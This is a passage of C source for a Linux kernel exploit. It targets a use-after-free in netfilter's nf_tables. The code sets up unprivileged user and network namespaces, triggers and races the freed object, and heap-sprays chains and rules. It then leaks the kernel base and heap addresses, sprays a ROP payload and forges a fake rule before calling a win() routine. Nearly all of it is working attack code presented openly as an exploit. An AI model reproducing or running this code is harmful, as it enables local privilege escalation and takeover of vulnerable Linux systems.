        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_uaf_spray_chain(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_spray_chain\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for(int i = 0 ; i < 0x20; i++){
        char *chain_name;
        asprintf(&chain_name, "spray_chain_%08hx", i);
        pwn_create_leak_chain(batch, seq++, chain_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static void pwn_uaf_spray_chain_rop(struct mnl_socket *nl)
{
    uint32_t seq;

    printf("pwn_uaf_spray_chain_rop\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0x100; i < 0x180; i++){
        char *chain_name;
        asprintf(&chain_name, "spray_chain_%08hx", i);
        pwn_create_rop_chain(batch, seq++, chain_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);
}

static void pwn_uaf_spray_chain_fake_rule(struct mnl_socket *nl)
{
    uint32_t seq;

    printf("pwn_uaf_spray_chain_fake_rule\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0x200; i < 0x300; i++){
        char *chain_name;
        asprintf(&chain_name, "spray_chain_fake_rule_%08hx", i);
        pwn_create_fake_rule_chain(batch, seq++, chain_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);
}

static void pwn_uaf_del_rule(struct mnl_socket *nl, uint64_t handle)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t seq;

    printf("pwn_uaf_del_rule\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if(handle == -1){
        for(int i = victim_rule_handle-2; i < victim_rule_handle; i++)
            append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, i);
    }
    else
        append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, handle);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);
}

static void pwn_uaf_del_set(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_del_set\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for(uint64_t i = 0x60; i < 0x71; i++){
        append_del_set_handle(batch, seq++, NFPROTO_INET, "testfirewall", i);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }   
}

static void pwn_uaf_del_chain(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t seq;

    printf("pwn_uaf_del_chain\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < 0x20; i++){
        char *chain_name;
        asprintf(&chain_name, "spray_chain_%08hx", i);        
        append_del_chain(batch, seq++, NFPROTO_INET, "testfirewall", chain_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);
}

static void pwn_read_dump_chain(struct mnl_socket *nl)
{
    uint32_t seq;

    printf("pwn_read_dump_chain\n");

    struct nftnl_chain *chain = NULL;

    for(int i = 0; i < 0x20; i++){
        chain = nftnl_chain_alloc();
        if (chain == NULL) {
            errx(1, "Cannot into nftnl_chain_alloc()");
        }

        seq = time(NULL);
        struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
            mnl_batch_buffer,
            NFT_MSG_GETCHAIN,
            NFPROTO_INET,
            NLM_F_ACK,
            seq
        );

        char *chain_name;
        asprintf(&chain_name, "spray_chain_%08hx", i);

        nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
        nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
        nftnl_chain_nlmsg_build_payload(nlh, chain);
        nftnl_chain_free(chain);

        if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
            err(1, "Cannot into mnl_socket_sendto()");
        }

        memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer));

        mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);

        nft_counter_ops =  *(unsigned long*) &mnl_batch_buffer[0x74];
        kbase = nft_counter_ops - NFT_COUNTER_OPS;
        heap_addr =  *(unsigned long*) &mnl_batch_buffer[0x64];
        victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;

        if(nft_counter_ops != 0){
            hex_dump(mnl_batch_buffer, 0x80);
            printf("[*] nft_counter_ops %lx kbase %lx heap_addr %lx handle %lx\n", 
                    nft_counter_ops, kbase, heap_addr, victim_rule_handle);
            break;
        }
        mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    }
}

static void pwn_uaf_spray_rule(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_spray_rule\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for(int i = 0 ; i < 0x20; i++)
        pwn_create_leak_rule(batch, seq++, pwn_log_chain);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

static int pwn_main()
{
    struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "Cannot into mnl_socket_open()");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        err(1, "Cannot into mnl_socket_bind()");
    }

    pwn_prepare(nl);

    usleep(cfg_initial_usleep);

    pwn_uaf_spray(nl);

    pwn_delay_spray_set(nl);

    uint64_t race_set_elem_key = 0;
    while (race_set_elem_key < cfg_race_set_elem_count) {
        pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count);
    }

    pwn_uaf_trigger(nl);
    usleep(cfg_race_lead_usleep);
    pwn_uaf_race(nl);
    usleep(cfg_race_lag_usleep);

    // spray chain
    pwn_uaf_spray_chain(nl);

    // del set
    pwn_uaf_del_set(nl);
    usleep(cfg_reuse_usleep);

    // spray rule
    pwn_uaf_spray_rule(nl);

    // dump chain udata
    pwn_read_dump_chain(nl);
    usleep(cfg_reuse_usleep);

    // del rule
    pwn_uaf_del_rule(nl, -1);
    usleep(cfg_reuse_usleep);

    // spray rop payload
    pwn_uaf_spray_chain_rop(nl);
    usleep(cfg_reuse_usleep);

    // del chain
    pwn_uaf_del_chain(nl);
    usleep(cfg_reuse_usleep);

    // alloc fake rule
    pwn_uaf_spray_chain_fake_rule(nl);
    usleep(cfg_reuse_usleep);

    // del rule
    if(!fork()){
        pwn_uaf_del_rule(nl, 0xffff);
        usleep(cfg_reuse_usleep);
        win();
    }

    sleep(1000);

    return 0;
}

void write_file(const char *filename, char *text) {

    int fd = open(filename, O_RDWR | O_CREAT);

    write(fd, text, strlen(text));
    close(fd);
}

void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    unshare(CLONE_NEWUSER | CLONE_NEWNS);

    unshare(CLONE_NEWNET);

    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);
}

volatile int cpu_spinning = 1;

static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd)
{
    int res;

    res = sched_setaffinity(0, cpu_set_size, cpu_set);
    if (res != 0) {
        err(1, "Cannot into sched_setaffinity()");
    }

    new_ns();

    int status = pwn_main();

    printf("[*] Signaling status=%d to coordinator...\n", status);
    res = write(socketfd, &status, sizeof(status));
    if (res != sizeof(status)) {
        err(1, "Cannot into write()");
    }

    while (cpu_spinning) {
        usleep(60 * 1000 * 1000);
    }
}

/****************************************************************************
 *
 * Coordinator
 *
 */

static int clone_helper(void *ctx)
{
    jmp_buf *env = ctx;

    longjmp(*env, 1);
    err(1, "Cannot into pthread_attr_init()");
    return 1;
}

__attribute__((noinline))
static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env)
{
    char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__];

    uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer;
    helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1;
    helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__;
    void *helper_stack = (void *) helper_stack_addr;

    pid_t pid = clone(clone_helper, helper_stack, flags, env);
    if (pid == -1) {
        err(1, "Cannot into clone()");
    }

    return pid;
}

static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set)
{
    int res;

    int socketfd[2];
    res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd);
    if (res != 0) {
        err(1, "Cannot into socketpair()");
    }

    jmp_buf env;
    if (setjmp(env) == 0) {
        clone_with_longjmp(SIGCHLD, &env);
    }
    else {
        res = close(socketfd[0]);
        if (res != 0) {
            err(1, "Cannot into close()");
        }

        char buf[1];
        res = read(socketfd[1], buf, sizeof(buf));
        if (res != sizeof(buf)) {
            err(1, "Cannot into read()");
        }

        printf("[*] Starting PWN Worker\n");
        pwn(cpu_set_size, cpu_set, socketfd[1]);
        err(1, "Unexpected return from exploit()");
    }

    res = close(socketfd[1]);
    if (res != 0) {
        err(1, "Cannot into close()");
    }

    printf("[*] Signaling PWN Worker...\n");
    char buf[1] = {};
    res = write(socketfd[0], buf, sizeof(buf));
    if (res != sizeof(buf)) {
        err(1, "Cannot into write()");
    }

    printf("[*] Waiting for PWN Worker...\n");
    int status = EFAULT;
    res = read(socketfd[0], &status, sizeof(status));
    if (res != sizeof(status)) {
        err(1, "Cannot into read()");
    }

    win();
    exit(1);
}

static void exploit()
{
    int cpu_alloc = 0x80;
    size_t cpu_set_size;

    printf("[*] Netfilter UAF exploit\n\n");

    cfg_load("profile");

    cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc);
    cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc);
    if (cpu_affinity == NULL) {
        err(1, "Cannot into CPU_ALLOC()");
    }

    CPU_ZERO_S(cpu_set_size, cpu_affinity);
    CPU_SET_S(0, cpu_set_size, cpu_affinity);

    pwn_helper(cpu_set_size, cpu_affinity);
}

int main(int argc, char *argv[], char *envp[])
{
    setbuf(stdout, NULL);

    exploit();
}
